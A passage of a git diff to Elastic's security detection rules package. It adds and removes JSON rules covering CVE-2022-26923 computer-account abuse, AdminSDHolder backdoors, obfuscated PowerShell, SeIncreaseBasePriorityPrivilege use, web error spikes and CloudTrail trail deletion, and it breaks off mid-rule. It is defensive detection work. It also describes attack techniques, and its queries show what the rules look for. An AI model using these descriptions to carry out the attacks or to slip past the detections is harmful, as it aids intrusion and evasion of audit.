Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1046", - "name": "Network Service Discovery", - "reference": "https://attack.mitre.org/techniques/T1046/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 5 - }, - "id": "6b341d03-1d63-41ac-841a-2009c86959ca_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6bed021a-0afb-461c-acbe-ffdb9574d3f3_213.json b/packages/security_detection_engine/kibana/security_rule/6bed021a-0afb-461c-acbe-ffdb9574d3f3_213.json new file mode 100644 index 00000000000..498ec603776 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6bed021a-0afb-461c-acbe-ffdb9574d3f3_213.json @@ -0,0 +1,108 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Remote Computer Account DnsHostName Update", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Remote Computer Account DnsHostName Update\n\nIn Active Directory environments, the DnsHostName attribute links computer accounts to their DNS names, crucial for network communication. Adversaries may exploit this by altering a non-domain controller's DnsHostName to mimic a domain controller, potentially exploiting vulnerabilities like CVE-2022-26923 for privilege escalation. The detection rule identifies suspicious changes by monitoring for remote updates to this attribute, especially when the new hostname resembles a domain controller's, flagging potential exploitation attempts.\n\n### Possible investigation steps\n\n- Review the event logs to confirm the occurrence of the \"changed-computer-account\" action, focusing on the user.id fields (\"S-1-5-21-*\", \"S-1-12-1-*\") to identify the user who initiated the change.\n- Verify the new DnsHostName value against the list of legitimate domain controller DNS hostnames to assess if it matches any known domain controllers.\n- Check the winlog.event_data.TargetUserName to ensure that the DnsHostName does not start with the computer name that was changed, which could indicate a false positive.\n- Investigate the account associated with the user.id to determine if it has a history of suspicious activity or if it has been compromised.\n- Examine recent changes or activities on the affected computer account to identify any unauthorized access or configuration changes.\n- Correlate this event with other security alerts or logs to identify potential patterns or coordinated activities that might indicate a broader attack.\n\n### False positive analysis\n\n- Routine maintenance or updates to computer accounts may trigger the rule if the DnsHostName is temporarily set to a domain controller-like name. To manage this, create exceptions for known maintenance periods or specific administrative accounts performing these updates.\n- Automated scripts or tools that update computer account attributes might inadvertently match the rule's conditions. Identify and exclude these scripts or tools by their user IDs or specific patterns in their operations.\n- Legitimate changes in network architecture, such as the promotion of a server to a domain controller, could be flagged. Ensure that such changes are documented and create exceptions for the involved accounts or systems during the transition period.\n- Temporary testing environments where non-domain controllers are configured with domain controller-like hostnames for testing purposes can cause false positives. Exclude these environments by their specific hostnames or network segments.\n- Regularly review and update the list of known domain controller hostnames to ensure that legitimate changes in the network are not mistakenly flagged as suspicious.\n\n### Response and remediation\n\n- Immediately isolate the affected computer from the network to prevent further unauthorized changes or potential exploitation.\n- Verify the legitimacy of the DnsHostName change by cross-referencing with known domain controller hostnames and authorized change requests.\n- Revert any unauthorized changes to the DnsHostName attribute to its original state to restore proper network communication and prevent misuse.\n- Conduct a thorough review of recent account activities and permissions for the user account involved in the change to identify any unauthorized access or privilege escalation attempts.\n- Escalate the incident to the security operations team for further investigation and to assess potential exploitation of CVE-2022-26923 or other vulnerabilities.\n- Implement additional monitoring on the affected system and similar systems to detect any further suspicious activities or attempts to exploit vulnerabilities.\n- Review and update access controls and permissions for computer accounts in Active Directory to ensure only authorized personnel can make changes to critical attributes like DnsHostName.", + "query": "iam where host.os.type == \"windows\" and event.action == \"changed-computer-account\" and\n user.id : (\"S-1-5-21-*\", \"S-1-12-1-*\") and\n\n /* if DnsHostName value equal a DC DNS hostname then it's highly suspicious */\n winlog.event_data.DnsHostName : \"??*\" and\n\n /* exclude FPs where DnsHostName starts with the ComputerName that was changed */\n not startswith~(winlog.event_data.DnsHostName, substring(winlog.event_data.TargetUserName, 0, length(winlog.event_data.TargetUserName) - 1))\n", + "references": [ + "https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26923" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.DnsHostName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetUserName", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "6bed021a-0afb-461c-acbe-ffdb9574d3f3", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Use Case: Vulnerability", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1068", + "name": "Exploitation for Privilege Escalation", + "reference": "https://attack.mitre.org/techniques/T1068/" + }, + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 213 + }, + "id": "6bed021a-0afb-461c-acbe-ffdb9574d3f3_213", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_2.json b/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_2.json deleted file mode 100644 index e5e117ba942..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/6ddb6c33-00ce-4acd-832a-24b251512023_2.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts with an unusually high proportion of whitespace and special characters, often indicative of obfuscation. This behavior is commonly associated with techniques such as SecureString encoding, formatting obfuscation, or character-level manipulation designed to bypass static analysis and AMSI inspection.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Special Character Overuse", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\"\n\n// Replace repeated spaces used for formatting after a new line with a single space to reduce FPs\n| EVAL dedup_space_script_block = REPLACE(powershell.file.script_block_text, \"\"\"\\n\\s+\"\"\", \"\\n \")\n\n// Look for scripts with more than 1000 chars that contain a related keyword\n| EVAL script_len = LENGTH(dedup_space_script_block)\n| WHERE script_len > 1000\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(dedup_space_script_block, \"\"\"[\\s\\$\\{\\}\\+\\@\\=\\(\\)\\^\\\\\\\"~\\[\\]\\?\\.]\"\"\", \"\ud83d\udd25\")\n\n// Count the occurrence of numbers and their proportion to the total chars in the script\n| EVAL special_count = script_len - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n| EVAL proportion = special_count::double / script_len::double\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP special_count, script_len, proportion, dedup_space_script_block, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n\n// Filter for scripts with a 75%+ proportion of numbers\n| WHERE proportion > 0.75\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "6ddb6c33-00ce-4acd-832a-24b251512023", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "6ddb6c33-00ce-4acd-832a-24b251512023_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6e9130a5-9be6-48e5-943a-9628bfc74b18_215.json b/packages/security_detection_engine/kibana/security_rule/6e9130a5-9be6-48e5-943a-9628bfc74b18_215.json new file mode 100644 index 00000000000..d455f35af73 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6e9130a5-9be6-48e5-943a-9628bfc74b18_215.json @@ -0,0 +1,97 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their Administrative Privileges.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "AdminSDHolder Backdoor", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AdminSDHolder Backdoor\n\nThe AdminSDHolder object in Active Directory is crucial for maintaining consistent permissions across privileged accounts. It ensures that any changes to these accounts are reverted to match the AdminSDHolder's settings. Adversaries exploit this by modifying the AdminSDHolder to create persistent backdoors, regaining administrative privileges. The detection rule identifies such abuses by monitoring specific directory service changes, focusing on modifications to the AdminSDHolder object, thus alerting security teams to potential threats.\n\n### Possible investigation steps\n\n- Review the event logs for entries with event.code:5136 to identify specific changes made to the AdminSDHolder object.\n- Examine the winlog.event_data.ObjectDN field to confirm the object path is CN=AdminSDHolder,CN=System* and verify the nature of the modifications.\n- Identify the user account responsible for the changes by checking the event logs for the associated user information.\n- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.\n- Assess the current permissions on the AdminSDHolder object and compare them with the expected baseline to identify unauthorized changes.\n- Check for any recent changes in group memberships or permissions of privileged accounts that could indicate exploitation of the AdminSDHolder backdoor.\n- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.\n\n### False positive analysis\n\n- Routine administrative changes to the AdminSDHolder object can trigger alerts. To manage this, establish a baseline of expected changes and create exceptions for these known activities.\n- Scheduled maintenance or updates to Active Directory may result in temporary modifications to the AdminSDHolder object. Document these events and exclude them from triggering alerts during the maintenance window.\n- Automated scripts or tools used for Active Directory management might modify the AdminSDHolder object as part of their normal operation. Identify these tools and whitelist their activities to prevent false positives.\n- Changes made by trusted security personnel or systems should be logged and reviewed. Implement a process to verify and exclude these changes from alerting if they are part of approved security operations.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation.\n- Revert any unauthorized changes to the AdminSDHolder object by restoring it from a known good backup or manually resetting its permissions to the default secure state.\n- Conduct a thorough review of all privileged accounts and groups to ensure their permissions align with organizational security policies and have not been altered to match the compromised AdminSDHolder settings.\n- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.\n- Implement additional monitoring on the AdminSDHolder object and other critical Active Directory objects to detect any future unauthorized modifications promptly.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.\n- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects.", + "query": "event.code:5136 and host.os.type:\"windows\" and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System*\n", + "references": [ + "https://adsecurity.org/?p=1906", + "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory#adminsdholder" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ObjectDN", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "6e9130a5-9be6-48e5-943a-9628bfc74b18", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + }, + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 215 + }, + "id": "6e9130a5-9be6-48e5-943a-9628bfc74b18_215", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6fa0f15b-1926-419b-8de2-fce1429797ba_2.json b/packages/security_detection_engine/kibana/security_rule/6fa0f15b-1926-419b-8de2-fce1429797ba_2.json new file mode 100644 index 00000000000..bd318702d6a --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6fa0f15b-1926-419b-8de2-fce1429797ba_2.json @@ -0,0 +1,105 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Suspicious SeIncreaseBasePriorityPrivilege Use", + "note": "## Triage and analysis\n\n### Investigating Suspicious SeIncreaseBasePriorityPrivilege Use\n\nSeIncreaseBasePriorityPrivilege allows to increase the priority of processes running on the system so that the CPU scheduler allows them to pre-empt other lower priority processes when the higher priority process has something to do.\n\n### Possible investigation steps\n\n- Review the process.executable reputation and it's execution chain.\n- Investiguate if the SubjectUserName is expected to perform this action.\n- Correlate the event with other security alerts or logs to identify any patterns or additional suspicious activities that might suggest a broader attack campaign.\n- Check the agent health status and verify if there is any tampering with endpoint security processes.\n\n### False positive analysis\n\n- Administrative tasks involving legitimate CPU scheduling priority changes.\n\n### Response and remediation\n\n- Immediately isolate the affected machine from the network to prevent further unauthorized access or lateral movement within the domain.\n- Terminate the processes involved in the execution chain.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.", + "query": "event.category:iam and host.os.type:\"windows\" and event.code:\"4674\" and\nwinlog.event_data.PrivilegeList:\"SeIncreaseBasePriorityPrivilege\" and event.outcome:\"success\" and\nwinlog.event_data.AccessMask:\"512\" and not winlog.event_data.SubjectUserSid:(\"S-1-5-18\" or \"S-1-5-19\" or \"S-1-5-20\")\n", + "references": [ + "https://github.com/Octoberfest7/ThreadCPUAssignment_POC/tree/main", + "https://x.com/sixtyvividtails/status/1970721197617717483", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4674" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AccessMask", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.PrivilegeList", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserSid", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "6fa0f15b-1926-419b-8de2-fce1429797ba", + "setup": "## Setup\n\nEnsure advanced audit policies for Windows are enabled, specifically:\nAudit Sensitive Privilege Use [Event ID 4674](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4674) (An operation was attempted on a privileged object.)\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nPrivilege Use >\nAudit Sensitive Privilege Use (Success)\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1134", + "name": "Access Token Manipulation", + "reference": "https://attack.mitre.org/techniques/T1134/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 2 + }, + "id": "6fa0f15b-1926-419b-8de2-fce1429797ba_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/6fa3abe3-9cd8-41de-951b-51ed8f710523_1.json b/packages/security_detection_engine/kibana/security_rule/6fa3abe3-9cd8-41de-951b-51ed8f710523_1.json new file mode 100644 index 00000000000..3cd96fba104 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/6fa3abe3-9cd8-41de-951b-51ed8f710523_1.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.", + "from": "now-9m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Web Server Potential Spike in Error Response Codes", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Potential Spike in Error Response Codes\n\nThis rule detects bursts of 5xx errors (500\u2013504) from GET traffic, highlighting abnormal server behavior that accompanies active scanning or fuzzing and exposes fragile code paths or misconfigured proxies. Attackers sweep common and generated endpoints while mutating query params and headers\u2014path traversal, template syntax, large payloads\u2014to repeatedly force backend exceptions and gateway timeouts, enumerate which routes fail, and pinpoint inputs that leak stack traces or crash components for follow-on exploitation.\n\n### Possible investigation steps\n\n- Plot error rates per minute by server and client around the alert window to confirm the spike, determine scope, and separate a single noisy client from a platform-wide issue.\n- Aggregate the failing URL paths and query strings from the flagged client and look for enumeration sequences, traversal encoding, template injection markers, or oversized inputs indicative of fuzzing.\n- Examine User-Agent, Referer, header mix, and TLS JA3 for generic scanner signatures or reuse across multiple clients, and enrich the originating IP with reputation and hosting-provider attribution.\n- Correlate the timeframe with reverse proxy/WAF/IDS and application error logs or stack traces to identify which routes threw exceptions or timeouts and whether they align with the client\u2019s input patterns.\n- Validate backend and dependency health (upstreams, databases, caches, deployments) to rule out infrastructure regressions, then compare whether only the suspicious client experiences disproportionate failures.\n\n### False positive analysis\n\n- A scheduled deployment or upstream dependency issue can cause normal GET traffic to fail with 502/503/504, and many users egressing through a shared NAT or reverse proxy may be aggregated as one source IP that triggers the spike.\n- An internal health-check, load test, or site crawler running from a single host can rapidly traverse endpoints and induce 500 errors on fragile routes, mimicking scanner-like behavior without malicious intent.\n\n### Response and remediation\n\n- Immediately rate-limit or block the originating client(s) at the edge (reverse proxy/WAF) using the observed source IPs, User-Agent/TLS fingerprints, and the failing URL patterns generating 5xx bursts.\n- Drain the origin upstream(s) showing repeated 500/502/503/504 on the probed routes, roll back the latest deployment or config change for those services, and disable any unstable endpoint or plugin that is crashing under input fuzzing.\n- Restart affected application workers and proxies, purge bad cache entries, re-enable traffic gradually with canary percentage, and confirm normal response rates via synthetic checks against the previously failing URLs.\n- Escalate to Security Operations and Incident Response if 5xx spikes persist after blocking or if error pages expose stack traces, credentials, or admin route disclosures, or if traffic originates from multiple global hosting ASNs.\n- Deploy targeted WAF rules for path traversal and injection markers seen in the URLs, enforce per-IP and per-route rate limits, tighten upstream timeouts/circuit breakers, and replace verbose error pages with generic responses that omit stack details.\n- Add bot management and IP reputation blocking at the CDN/edge, lock down unauthenticated access to admin/debug routes, and instrument alerts that trigger on sustained 5xx bursts per client and per route with automatic edge throttling.\n", + "query": "from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*\n| where\n (url.original is not null or url.full is not null) and\n http.request.method == \"GET\" and\n http.response.status_code in (\n 500, // Internal Server Error\n 502, // Bad Gateway\n 503, // Service Unavailable\n 504 // Gateway Timeout\n )\n| eval Esql.url_text = case(url.original is not null, url.original, url.full)\n| eval Esql.url_lower = to_lower(Esql.url_text)\n\n| keep\n @timestamp,\n event.dataset,\n http.request.method,\n http.response.status_code,\n source.ip,\n agent.id,\n host.name,\n Esql.url_lower\n| stats\n Esql.event_count = count(),\n Esql.http_response_status_code_count = count(http.response.status_code),\n Esql.http_response_status_code_values = values(http.response.status_code),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.http_request_method_values = values(http.request.method),\n Esql.http_response_status_code_values = values(http.response.status_code),\n Esql.url_path_values = values(Esql.url_lower),\n Esql.event_dataset_values = values(event.dataset)\n by source.ip, agent.id\n| where\n Esql.http_response_status_code_count > 10\n", + "related_integrations": [ + { + "package": "network_traffic", + "version": "^1.1.0" + }, + { + "package": "nginx", + "version": "^2.0.0" + }, + { + "package": "apache", + "version": "^2.0.0" + }, + { + "package": "apache_tomcat", + "version": "^1.0.0" + }, + { + "package": "iis", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.http_request_method_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.http_response_status_code_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.http_response_status_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_path_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "6fa3abe3-9cd8-41de-951b-51ed8f710523", + "severity": "low", + "tags": [ + "Domain: Web", + "Domain: Network", + "Use Case: Threat Detection", + "Tactic: Reconnaissance", + "Data Source: Network Packet Capture", + "Data Source: Nginx", + "Data Source: Apache", + "Data Source: Apache Tomcat", + "Data Source: IIS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0043", + "name": "Reconnaissance", + "reference": "https://attack.mitre.org/tactics/TA0043/" + }, + "technique": [ + { + "id": "T1595", + "name": "Active Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/", + "subtechnique": [ + { + "id": "T1595.002", + "name": "Vulnerability Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/002/" + }, + { + "id": "T1595.003", + "name": "Wordlist Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "6fa3abe3-9cd8-41de-951b-51ed8f710523_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7024e2a0-315d-4334-bb1a-441c593e16ab_213.json b/packages/security_detection_engine/kibana/security_rule/7024e2a0-315d-4334-bb1a-441c593e16ab_213.json new file mode 100644 index 00000000000..587223b8658 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7024e2a0-315d-4334-bb1a-441c593e16ab_213.json @@ -0,0 +1,112 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging.", + "false_positives": [ + "Trail deletions may be made by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Trail deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS CloudTrail Log Deleted", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS CloudTrail Log Deleted\n\nAWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage.\n\n#### Possible 